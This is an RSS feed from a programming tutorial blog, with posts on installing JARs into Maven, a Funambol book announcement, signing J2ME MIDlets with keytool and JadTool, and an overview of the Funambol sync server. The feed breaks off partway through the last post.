<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; Funambol</title>
	<atom:link href="http://www.dijexi.com/category/funambol/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Guide to installing 3rd party JARs in Maven</title>
		<link>http://www.dijexi.com/2011/06/guide-to-installing-3rd-party-jars-in-maven/</link>
		<comments>http://www.dijexi.com/2011/06/guide-to-installing-3rd-party-jars-in-maven/#comments</comments>
		<pubDate>Fri, 17 Jun 2011 09:32:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Funambol]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[jbilling]]></category>
		<category><![CDATA[add external jar]]></category>
		<category><![CDATA[maven]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2011/06/guide-to-installing-3rd-party-jars-in-maven/</guid>
		<description><![CDATA[Often times you will have 3rd party JARs that you need to put in your local repository for use in your builds. The JARs must be placed in the local repository in the correct place in order for it to be correctly picked up by Maven. To make this easier, and less error prone, we [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Often times you will have 3rd party JARs that you need to put in your local repository for use in your builds. The JARs must be placed in the local repository in the correct place in order for it to be correctly picked up by Maven. To make this easier, and less error prone, we have provide a goal in the install plug-in which should make this relatively painless. </p>
<p>To install a JAR in the local repository use the following command:</p>
<blockquote><p>mvn install:install-file -Dfile=&lt;path-to-file&gt; -DgroupId=&lt;group-id&gt; \ -DartifactId=&lt;artifact-id&gt; -Dversion=&lt;version&gt; -Dpackaging=&lt;packaging&gt;</p>
</blockquote>
<p>&#160;</p>
<p>For example, to install jbilling_api.jar (API for connecting to JBilling application), use the following command:</p>
<blockquote><p>mvn install:install-file -Dfile=/opt/jbilling_api.jar -DgroupId=jbilling \ -DartifactId=jbilling -Dversion=2.0 -Dpackaging=jar</p>
</blockquote>
<p>Then, on the project’s POM file, add the following external dependency, so that Maven will include this jar while compiling: </p>
<blockquote><p>&lt;dependencies&gt; </p>
<p>…</p>
<p>&#160;&#160; &lt;dependency&gt;      <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;groupId&gt;jbilling&lt;/groupId&gt;       <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;artifactId&gt;jbilling&lt;/artifactId&gt;       <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;version&gt;2.0&lt;/version&gt;       <br />&#160;&#160;&#160; &lt;/dependency&gt; </p>
<p>… </p>
<p>&lt;/dependencies&gt; </p>
</blockquote>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:01fe9c3d-a785-4bbf-839a-75fe97155096" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/maven" rel="tag">maven</a>,<a href="http://technorati.com/tags/java" rel="tag">java</a>,<a href="http://technorati.com/tags/add+external+jar" rel="tag">add external jar</a>,<a href="http://technorati.com/tags/jbilling" rel="tag">jbilling</a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/12/netbeans-ide-6-8-released/" rel="bookmark">NetBeans IDE 6.8 Released</a></li><li><a href="http://www.dijexi.com/2009/06/adempiere-opensource-erp-installation/" rel="bookmark">001 Adempiere Opensource ERP Installation</a></li><li><a href="http://www.dijexi.com/2009/09/guide-to-implementing-business-intelligence-3-business-intelligence-tools-solutions/" rel="bookmark">Guide To Implementing Business Intelligence - 3. Business Intelligence Tools &amp; Solutions</a></li><li><a href="http://www.dijexi.com/2010/02/funambol-mobile-open-source-book-released/" rel="bookmark">Funambol Mobile Open Source Book Released</a></li><li><a href="http://www.dijexi.com/2009/07/codeigniter-tutorial-creating-accounting-application-part-1-setting-up-the-environment/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 1 Setting Up the Environment</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2011%2F06%2Fguide-to-installing-3rd-party-jars-in-maven%2F&amp;linkname=Guide%20to%20installing%203rd%20party%20JARs%20in%20Maven"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2011/06/guide-to-installing-3rd-party-jars-in-maven/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Funambol Mobile Open Source Book Released</title>
		<link>http://www.dijexi.com/2010/02/funambol-mobile-open-source-book-released/</link>
		<comments>http://www.dijexi.com/2010/02/funambol-mobile-open-source-book-released/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 08:31:00 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Funambol]]></category>
		<category><![CDATA[book]]></category>
		<category><![CDATA[packt publisher]]></category>
		<category><![CDATA[sample]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2010/02/funambol-mobile-open-source-book-released/</guid>
		<description><![CDATA[This book explains almost all about syncing your email and other data with mobile devices using Funambol 7.1 Provide push email capabilities and synchronization services for mobile devices and PC software using Funambol Develop your own Funambol extensions Many examples explaining all functionalities provided by the Funambol platform An easy reading for system administrators and [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>This book explains almost all about syncing your email and other data with mobile devices using Funambol 7.1 <a href="http://www.packtpub.com/funambol-mobile-open-source/book/mid/mid%2F040210jbpvg5?utm_source=dijexi.com&amp;utm_medium=affiliate&amp;utm_content=blog&amp;utm_campaign=mdb_002333" target="_blank"><img style="border-bottom: 0px; border-left: 0px; display: inline; margin-left: 0px; border-top: 0px; margin-right: 0px; border-right: 0px" title="image" border="0" alt="image" align="right" src="http://www.dijexi.com/wp-content/uploads/2010/02/image1.png" width="193" height="244" /></a></p>
<ul>
<li>Provide push email capabilities and synchronization services for mobile devices and PC software using Funambol </li>
<li>Develop your own Funambol extensions </li>
<li>Many examples explaining all functionalities provided by the Funambol platform </li>
<li>An easy reading for system administrators and developers who want to keep in sync enterprise data</li>
</ul>
<p>&#160;</p>
<h3 align="center"><a href="http://www.packtpub.com/funambol-mobile-open-source/book/mid/mid%2F040210jbpvg5?utm_source=dijexi.com&amp;utm_medium=affiliate&amp;utm_content=blog&amp;utm_campaign=mdb_002333" target="_blank">Click here for this book’s home page.</a></h3>
<p>&#160;</p>
<h2><a name="indetail">In Detail</a></h2>
<p>Funambol is a free and open source mobile synchronization server that provides push email, address book and calendar (PIM) data synchronization, and device management for wireless devices. Are you looking to sync your email and other data with mobile devices for easy access? This book will show you how to do that via the Internet cloud.</p>
<p>With the help of this complete, practical guide you will learn how to access your email, calendar, contacts, important notes a lot more easily and quickly using Funambol. You will be able to sync a large number of online applications with your mobile devices. You will also be able to develop, deploy, and manage any mobile project.</p>
<p>This book will show you how to provide a full-featured PIM synchronization and push email service with Funambol.    <br />You will start by installing Funambol on a personal computer, and then move on to acquire detailed information on the Funambol architecture and the network requirements for deploying it. You will cover several components of Funambol such as Data Synchronization Server, Device Management, Client Plugins, and more. </p>
<p>As you reach the end of the book, you will delve deeper to explore the wide range of possibilities of the Funambol platform beyond the immediate needs of personal data synchronization and mobile email. The book is also a great starting point for anyone who aims to extend Funambol. This book was targeted at version 7.1 of Funambol, but is also applicable to version 8. </p>
<p>&#160;</p>
<p align="center"><a href="http://www.packtpub.com/article/funambol-mobile-open-source-table-of-contents">Read the full Table of Contents for Funambol Mobile Open Source</a></p>
<p align="center"><a href="http://www.packtpub.com/files/1540-funambol-sample-chapter-5-funambol-e-mail.pdf" target="_blank">Read the sample Content for Funambol Mobile Open Source</a></p>
<p> <span id="more-1312"></span>  <br /> <br />
<h2>What you will learn from this book</h2>
<ul>
<li>Install the server on both Linux and Windows environment, and learn how to start/stop Funambol services </li>
<li>Sync your data with other devices and get notified of new emails or other personal data changes </li>
<li>Start synchronization automatically to receive changes made with another application or device using push synchronization </li>
<li>Connect to the Data Synchronization Service using Funambol administration tool </li>
<li>Synchronize all different devices with a central PIM database and email system using the different push mechanisms </li>
<li>Access a database on a separate machine instead of the local database by configuring Funambol </li>
<li>Restrict access to specific users, add new users, and track registered users using the Funambol Administration Tool </li>
<li>Set up and start the PIM Connector and PIM Listener Service, and learn how it works in a complex scenario using a Windows Mobile phone </li>
<li>Develop a custom connector to access an external data source by following a simple tutorial-styled example</li>
</ul>
<h2>Approach</h2>
<p>The book is composed of two parts. The first part will take you through the steps required to fully understand and deploy Funambol to provide PIM synchronization and push email solution to your mobile users. This is done step-by-step, starting from a simple personal usage scenario to a more complex environment that must serve thousands of users. All components of the platform are smoothly introduced and explained, starting from the functionality they provide. The second part of the book is more informative and will assist you in building Funambol extensions. In particular, it contains an easy-to-follow tutorial that will allow you to write a Funambol connector in a few easy steps. </p>
<h2>Who this book is written for</h2>
<p>If you are looking forward to install and get started with Funambol, this book is for you. You need to have a technical background and be confident with a bit of code tweaking, but not a developer.    <br />General server administration skills are assumed and familiarity with Java will be a benefit in places. </p>
<hr />
<h2>Author(s)</h2>
<p><b>Stefano Fornari</b></p>
<p>Stefano Fornari is a co-founder and CTO of Funambol, Inc., the leading provider of open source mobile cloud sync and push email solutions for billions of phones. Stefano had several years of software development experience before starting the Funambol open source project in 2003. He was one of the main contributors of the project and was also the project manager. Today, Stefano is in charge of the engineering team of Funambol. Prior to his development work on Funambol, Fornari was the chief architect at Stigma Online where he played a key role in the development of the company’s flagship portal product, SolWeb Intra. He has also held positions at Compaq, where he was an advisor on wireless technologies in PDAs, and at Art Technology Group (ATG) as a consultant. He holds an M.S. Degree in Computer Science.</p>
</p>
</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:b5ac5579-4ffe-43cb-b805-3d02f5325c3d" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/funambol" rel="tag">funambol</a>,<a href="http://technorati.com/tags/book" rel="tag">book</a>,<a href="http://technorati.com/tags/sample" rel="tag">sample</a>,<a href="http://technorati.com/tags/packt+publisher" rel="tag">packt publisher</a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/10/funambol-for-blackberry-like-capabilities-on-cheap-handsets/" rel="bookmark">Funambol for BlackBerry-like capabilities on cheap handsets</a></li><li><a href="http://www.dijexi.com/2009/07/wordpress-mobile-blogging-using-blackberry/" rel="bookmark">WordPress Mobile Blogging Using BlackBerry</a></li><li><a href="http://www.dijexi.com/2009/08/free-online-video-format-conversion-sites/" rel="bookmark">Free Online Video Format Conversion Sites</a></li><li><a href="http://www.dijexi.com/2009/07/best-free-development-tools-and-editors-software/" rel="bookmark">Best Free Development Tools and Editors Software</a></li><li><a href="http://www.dijexi.com/2009/07/best-free-browsers-instant-messengers-remote-file-management-shell-and-linux-emulation-software/" rel="bookmark">Best Free Browsers, Instant Messengers, Remote File Management, Shell and Linux Emulation Software</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2010%2F02%2Ffunambol-mobile-open-source-book-released%2F&amp;linkname=Funambol%20Mobile%20Open%20Source%20Book%20Released"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2010/02/funambol-mobile-open-source-book-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Sign a MIDlet</title>
		<link>http://www.dijexi.com/2009/12/how-to-sign-a-midlet/</link>
		<comments>http://www.dijexi.com/2009/12/how-to-sign-a-midlet/#comments</comments>
		<pubDate>Mon, 14 Dec 2009 10:34:34 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Funambol]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[certificate authority]]></category>
		<category><![CDATA[Certificate Signing Request]]></category>
		<category><![CDATA[CSR]]></category>
		<category><![CDATA[keytool]]></category>
		<category><![CDATA[Sign a Midlet]]></category>
		<category><![CDATA[thawte]]></category>
		<category><![CDATA[verisign]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/12/how-to-sign-a-midlet/</guid>
		<description><![CDATA[These are the required steps in summary to sign MIDlets with a certificate. Generate public/private key pairs. Generate Certificate Signing Request (CSR) and submit it to CA . Sign the MIDLet with the certificate. Here are the list of software required to accomplish the steps: Sun Java 2 SDK or JRE Sun Wireless Tool Kit [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>These are the required steps in summary to sign MIDlets with a certificate.</p>
<ol>
<li>Generate public/private key pairs. </li>
<li>Generate Certificate Signing Request (CSR) and submit it to CA . </li>
<li>Sign the MIDLet with the certificate. </li>
</ol>
<p>Here are the list of software required to accomplish the steps:</p>
<ol>
<li>Sun Java 2 SDK or JRE </li>
<li>Sun Wireless Tool Kit (WTK) </li>
</ol>
<h2>Generate public/private key pairs</h2>
<h3>Create a Keystore</h3>
<p>From the command line navigate to Java 2 SDK bin directory (if it is not in the PATH yet) and type the below command :</p>
<blockquote><p>keytool -genkey -keyalg rsa -keystore &lt;keystore_filename&gt; -alias &lt;alias_name&gt;</p>
</blockquote>
<p>It prompts you to enter a password for your keystore, your name, organization, and address. For example:</p>
<p> <span id="more-1292"></span><br />
<blockquote>
<p>C:\tmp&gt;<strong>keytool -genkey -keyalg rsa -keystore vitraining.keystore -alias vitraining        <br /></strong>Enter keystore password:&#160; <strong>1234567890</strong>       <br />What is your first and last name?       <br />&#160; [Unknown]:&#160; <strong>akhmad daniel        <br /></strong>What is the name of your organizational unit?       <br />&#160; [Unknown]:&#160; <strong>vitraining</strong>       <br />What is the name of your organization?       <br />&#160; [Unknown]:&#160; <strong>vitraining</strong>       <br />What is the name of your City or Locality?       <br />&#160; [Unknown]:&#160; <strong>bandung</strong>       <br />What is the name of your State or Province?       <br />&#160; [Unknown]:&#160; <strong>jawa barat        <br /></strong>What is the two-letter country code for this unit?       <br />&#160; [Unknown]:&#160; <strong>ID</strong>       <br />Is CN=akhmad daniel, OU=vitraining, O=vitraining, L=bandung, ST=jawa barat, C=ID       <br />correct?       <br />&#160; [no]:&#160; <strong>yes</strong> </p>
<p>Enter key password for &lt;vitraining&gt;      <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; (RETURN if same as keystore password):</p>
</blockquote>
<p>You will find the keystore file on the directory called <strong>vitraining.keystore</strong>.</p>
<p>&#160;</p>
<h3>List the generated keypairs </h3>
<p>To see your generated keypairs entry, type the below command :</p>
<blockquote><p>keytool -keystore &lt;keystore_filename&gt; –list</p>
</blockquote>
<p>For example:</p>
<blockquote><p>C:\tmp&gt;<strong>keytool -keystore vitraining.keystore -list        <br /></strong>Enter keystore password:&#160; <strong>1234567890</strong> </p>
<p>Keystore type: jks      <br />Keystore provider: SUN </p>
<p>Your keystore contains 1 entry </p>
<p>vitraining, Dec 14, 2009, keyEntry,      <br />Certificate fingerprint (MD5): CA:EE:0C:D6:64:4D:C3:A3:B9:92:9B:14:58:E0:A1:76</p>
</blockquote>
<p>&#160;</p>
<h2>Generate Certificate Signing Request (CSR) and submit it to CA</h2>
<p>Next, you need to generate a Certificate Signing Request (CSR) for the enrollment process.</p>
<h3>Generate CSR</h3>
<p>Type the below command to create a CSR for the key pair in the keystore:</p>
<blockquote><p>keytool –certreq –file &lt;certreq_filename.csr&gt; –keystore &lt;keystore_filename&gt; -alias &lt;alias_name&gt;</p>
</blockquote>
<p>For example:</p>
<blockquote><p>C:\tmp&gt;<strong>keytool -certreq -file vitraining.csr -keystore vitraining.keystore -alias vitraining</strong>       <br />Enter keystore password:&#160; <strong>1234567890</strong></p>
</blockquote>
<p>You will find a new CSR file in the directory called <strong>vitraining.csr</strong>. Submit the generated CSR to CA.</p>
<p>&#160;</p>
<h2>Sign the MIDLet with the certificate</h2>
<p>Once the CA has approved your request, you will receive the certificate, usually by email containing the certificate. You need to copy paste or save the attachment of the certificate file to a file. The next steps are:</p>
<h3>Import the certificate to your keystore</h3>
<p>Use the below command </p>
<blockquote><p>keytool –import –trustcacerts –keystore &lt;keystore_filename&gt; -alias &lt;alias_name&gt; -file &lt;cert_filename&gt;</p>
</blockquote>
<p> For example:</p>
<blockquote><p>C:\tmp&gt;<strong>keytool -import -trustcacerts -keystore vitraining.keystore -alias vitraining -file vitraining.cert</strong>      <br />Enter keystore password:&#160; <strong>1234567890       <br /></strong>Certificate reply was installed in keystore</p>
</blockquote>
<p>Now the keystore is filled up with the valid certificate.</p>
<p>&#160;</p>
<h3>Sign the JAD file </h3>
<p>Use JadTool utility to sign a JAR file by adding both of the certificate and the JAR file’s digital signature to the Java Application Descriptor (JAD) file, the process will be :</p>
<h4>a. Adding the certificate to JAD </h4>
<p>To add the certificate as the value of an attribute named <kbd>MIDlet-Certificate-</kbd><i>m</i><kbd>-</kbd><i>n,</i> we will use JadTool.jar. Here <i>m</i> is the number of the certificate chain, and <i>n</i> is an integer that, for new certificates, begins at one and increments by one each time you add a new certificate to the JAD file.</p>
<blockquote><p>java -jar %WTK_HOME%\bin\JadTool.jar -addcert -keystore &lt;keystorename&gt; -alias &lt;aliasname&gt; -storepass &lt;password&gt; -inputjad &lt;input_jadfile&gt; -outputjad &lt;output_jadfile&gt;</p>
</blockquote>
<p>For example:</p>
<blockquote><p>java -jar %WTK_HOME%\bin\JadTool.jar -addcert -keystore vitraining.keystore -alias vitraining -storepass 1234567890 -inputjad test.jad -outputjad test_t.jad</p>
</blockquote>
<p>When succeeded, you should see the below attributes added to your output JAD file (in the example test_t.jad):</p>
<blockquote><p>MIDlet-Certificate-1-1</p>
<p>MIDlet-Certificate-1-2</p>
<p>MIDlet-Certificate-1-3 </p>
</blockquote>
<h4>b. Adding JAR’s digital signature to the JAD</h4>
<p>This last process will get the JAR’s digital signature, stores it as the value of the <kbd>MIDlet-Jar-RSA-SHA1</kbd><a name="50647048_marker-1002232"></a> attribute of the output JAD file.</p>
<blockquote><p>java -jar %WTK_HOME%\bin\jadtool.jar -addjarsig -jarfile &lt;jar_file&gt; -keystore &lt;keystorename&gt; -alias &lt;aliasname&gt; -storepass &lt;password&gt; -keypass &lt;password&gt; -inputjad &lt;input_jadfile&gt; -outputjad &lt;output_jadfile&gt;</p>
</blockquote>
<p>The default value for -jarfile is the MIDlet-Jar-URL property in the JAD file. For example:</p>
<blockquote><p>java -jar %WTK_HOME%\bin\jadtool.jar -addjarsig -jarfile test.jar -keystore vitraining.keystore -alias vitraining -storepass 1234567890 -keypass 1234567890 -inputjad test.jad –outputjad test_t.jad</p>
</blockquote>
<h2>Conclusion</h2>
<p>Here is to conclude:</p>
<ol>
<li>keystore file is the file you created for storing public and private key pairs</li>
<li>csr file is the file you created for submission to get a valid certificate from CA</li>
<li>after getting the certificate, save it to a file, and the store it to back your keystore file</li>
<li>the keystore file is ready for use for signing JAR and JAD files</li>
</ol>
<p>&#160;</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:e5519c91-1061-4d75-ba86-c4d255b4f4d7" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/Sign+a+Midlet" rel="tag">Sign a Midlet</a>,<a href="http://technorati.com/tags/keytool" rel="tag">keytool</a>,<a href="http://technorati.com/tags/verisign" rel="tag">verisign</a>,<a href="http://technorati.com/tags/Certificate+Signing+Request" rel="tag">Certificate Signing Request</a>,<a href="http://technorati.com/tags/CSR" rel="tag">CSR</a>,<a href="http://technorati.com/tags/thawte" rel="tag">thawte</a>,<a href="http://technorati.com/tags/certificate+authority" rel="tag">certificate authority</a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2010/08/j2me-current-date-and-time/" rel="bookmark">J2ME Current date and Time</a></li><li><a href="http://www.dijexi.com/2010/08/creating-gps-tracker-application-on-j2me-phones/" rel="bookmark">Creating GPS Tracker Application on J2ME Phones</a></li><li><a href="http://www.dijexi.com/2009/07/best-wordpress-plugin-for-facebook/" rel="bookmark">Best WordPress Plugin for Facebook</a></li><li><a href="http://www.dijexi.com/2009/09/google-reinvents-the-phone-with-google-voice/" rel="bookmark">Google Reinvents the Phone with Google Voice</a></li><li><a href="http://www.dijexi.com/2010/11/what-is-autoblogging-all-about/" rel="bookmark">What is Autoblogging All About?</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F12%2Fhow-to-sign-a-midlet%2F&amp;linkname=How%20to%20Sign%20a%20MIDlet"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/12/how-to-sign-a-midlet/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Funambol for BlackBerry-like capabilities on cheap handsets</title>
		<link>http://www.dijexi.com/2009/10/funambol-for-blackberry-like-capabilities-on-cheap-handsets/</link>
		<comments>http://www.dijexi.com/2009/10/funambol-for-blackberry-like-capabilities-on-cheap-handsets/#comments</comments>
		<pubDate>Wed, 21 Oct 2009 03:41:19 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Funambol]]></category>
		<category><![CDATA[company]]></category>
		<category><![CDATA[services]]></category>
		<category><![CDATA[synchronization]]></category>
		<category><![CDATA[syncml]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/10/funambol-for-blackberry-like-capabilities-on-cheap-handsets/</guid>
		<description><![CDATA[The Funambol core project is a free and open source mobile synchronization server that provides push email, address book and calendar (PIM) data synchronization, and device management for wireless devices, leveraging standard protocols such as SyncML (as defined by Wikipedia). Using Funambol, we can have a BlackBerry-like features on cheap handsets which have at least [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>The Funambol core project is a <a href="http://en.wikipedia.org/wiki/Free_software">free</a> and <a href="http://en.wikipedia.org/wiki/Open_source_software">open source</a> mobile synchronization server that provides <a href="http://en.wikipedia.org/wiki/Push_email">push email</a>, address book and calendar (<a href="http://en.wikipedia.org/wiki/Personal_information_manager">PIM</a>) data synchronization, and device management for wireless devices, leveraging standard protocols such as <a href="http://en.wikipedia.org/wiki/SyncML">SyncML</a> (as defined by Wikipedia). Using Funambol, we can have a <a href="http://en.wikipedia.org/wiki/BlackBerry">BlackBerry</a>-like features on cheap handsets which have at least J2ME and GPRS capabilities (well, almost all of them have this feature now). </p>
<div style="margin: 1em; width: 310px; display: block; float: right" class="zemanta-img" jquery1256095934296="5370"><a href="http://commons.wikipedia.org/wiki/Image:Several_mobile_phones.png"><img style="border-bottom: medium none; border-left: medium none; display: block; border-top: medium none; border-right: medium none" alt="Several mobile phones" src="http://upload.wikimedia.org/wikipedia/commons/thumb/e/e9/Several_mobile_phones.png/300px-Several_mobile_phones.png" width="300" height="133" /></a>
<p style="font-size: 0.8em" class="zemanta-img-attribution">Image via <a href="http://commons.wikipedia.org/wiki/Image:Several_mobile_phones.png">Wikipedia</a></p>
</p></div>
<p>We can use Funambol to synchronize our email, address book, and calendar data from many kind of mobile devices (Windows Mobile, BlackBerry, Palm, iPod, iPhone, and any J2ME capable devices) and popular services on the web like Gmail, Facebook, MSN, and Yahoo, and even desktop applications like <a class="zem_slink" title="Microsoft Outlook" href="http://www.microsoft.com/outlook" rel="homepage">Ms Outlook</a>, Thunderbird, and <a class="zem_slink" title="IBM Lotus Notes" href="http://www.ibm.com/software/lotus/products/notes/" rel="homepage">Lotus Notes</a>. </p>
<p>It means that we can read, compose, and reply/forward emails from our mobile device with the same account as our GMail or Yahoo Mail. Using it’s push email technology, we can be notified by our cheap mobile phone when someone send us an email on our Gmail account. We can add a task or schedule a meeting on calendar using Outlook then we can see them on a cheap K320i Sony Ericsson mobile phone as well as on Gmail Task. Our contact address books will also be synchronized between all devices, services, and application that we use, meaning that our phone address book will be the same as our Yahoo, Outlook, or Gmail Contacts database. This is a very good solution for backing up valuable contact database especially for those who always lost his mobile phone easily (like me ;)).</p>
<p>Companies with large number of mobile employees and very tight schedule will take advantage by installing it’s own internal Funambol server, as the employees will be reminded always with it’s task and schedule as well as keep in contact with the headquarters using push email technologies. This can be achieved using the employees’ handsets that they already have.</p>
<p> <span id="more-1288"></span><br />
<h2>Components</h2>
<p>Funambol consists of several components:</p>
<ul>
<li>Funambol Data Synchronization Server: a mobile application server providing synchronization services for wireless clients and PCs, including push email. </li>
<li>Funambol Device Management: an OMA DM server to remotely manage mobile devices. </li>
<li>Funambol Connectors: gateways to file systems, databases, email systems, and applications for two-way synchronization with existing data assets. </li>
<li>Funambol Client Plug-ins: protocol extenders and clients for <a href="http://en.wikipedia.org/wiki/Microsoft_Office_Outlook">Microsoft Office Outlook</a>, <a href="http://en.wikipedia.org/wiki/Mozilla_Thunderbird">Mozilla Thunderbird</a> (experimental), <a href="http://en.wikipedia.org/wiki/Mozilla_Sunbird">Mozilla Sunbird</a> (experimental), <a href="http://en.wikipedia.org/wiki/Windows_Mobile">Windows Mobile</a>, <a href="http://en.wikipedia.org/wiki/BlackBerry">BlackBerry</a>, <a href="http://en.wikipedia.org/wiki/Palm_OS">Palm</a> and <a href="http://en.wikipedia.org/wiki/IPod">iPod</a> and <a href="http://en.wikipedia.org/wiki/IPhone">iPhone</a> so users can synchronize their email messages and <a href="http://en.wikipedia.org/wiki/Personal_information_manager">PIM</a> data (address book, calendar, tasks and notes) with the server. </li>
<li>Funambol <a class="zem_slink" title="Software development kit" href="http://en.wikipedia.org/wiki/Software_development_kit" rel="wikipedia">Software Development Kit</a>: tools to develop sometimes-connected mobile applications on devices (in <a href="http://en.wikipedia.org/wiki/Java_%28programming_language%29">Java</a> &#8211; J2SE and J2ME &#8211; and <a href="http://en.wikipedia.org/wiki/C%2B%2B">C++</a>) and to add data sources to the server. </li>
</ul>
<h2>How Does It Works?</h2>
<p>Funambol Data Synchronization servers listen on a specific port that act as a synchronization server between mobile devices, desktop applications, and web services. All these clients and Funambol use the same language, SyncML, to to the synchronization process. Funambol has its own database to store client user data, devices profile, services that the user have, email account, etc. Once setup, Funambol will keep checking on the users email account and when an email arrives on that account, Funambol will push that email to users’ handset which already installed with Funambol Client application. Using SyncML, users can add a task on their handset, then do the synchronization, and Funambol will process this task synchronization to other services that they have, for example to Gmail, Yahoo, or MSN. When they log in to Gmail, they will see the same task that they entered on their handset before.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/10/image.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="funambol synchronization between mobile devices, gmail, yahoo, faceboo, outlook, thunderbird" border="0" alt="funambol synchronization between mobile devices, gmail, yahoo, faceboo, outlook, thunderbird" src="http://www.dijexi.com/wp-content/uploads/2009/10/image_thumb.png" width="504" height="235" /></a>&#160;</p>
<h2>System requirements</h2>
<p>Windows-based host</p>
<ul>
<li>Pentium 4 CPU, running at 1.8GHz </li>
<li>Windows 2000 Professional, Windows <a class="zem_slink" title="Windows XP" href="http://www.microsoft.com/windows/products/windowsxp/" rel="homepage">XP</a> Professional or Windows Vista </li>
<li>200 MB of free disk space </li>
<li>768 MB memory</li>
</ul>
<p>Linux-based host</p>
<ul>
<li>Pentium 4 CPU, running at 1.8GHz </li>
<li>No Linux version or publisher restrictions, at present </li>
<li>200 MB of free disk space </li>
<li>512 MB memory</li>
</ul>
<p>Public <a class="zem_slink" title="IP address" href="http://en.wikipedia.org/wiki/IP_address" rel="wikipedia">IP address</a> is a must, since mobile devices will need it to do the synchronization process.</p>
<h2>Business Opportunity</h2>
<ul>
<li>For System integrator and implementation service company: installing and implementing Funambol server for companies, telecommunication services, community. This can be charged by man-hour or contract based project. </li>
<li>Software developer: developing new module for integrating Funambol to an existing system, using Funambol SDKs. This can be charged by man-hour or contract based project. </li>
<li>Consultancy and Training on how to install, implement, integrating, development and extending Funambol: This can be charged by man-hour or contract based project. </li>
<li>Service Provider: for companies which run it’s own synchronization services for it’s own customers, Funambol provides Funambol Carrier Edition, which can be bought commercially and be customized to to suit the company’s logo, brand name, etc.</li>
</ul>
<h2>Where to go further</h2>
<ul>
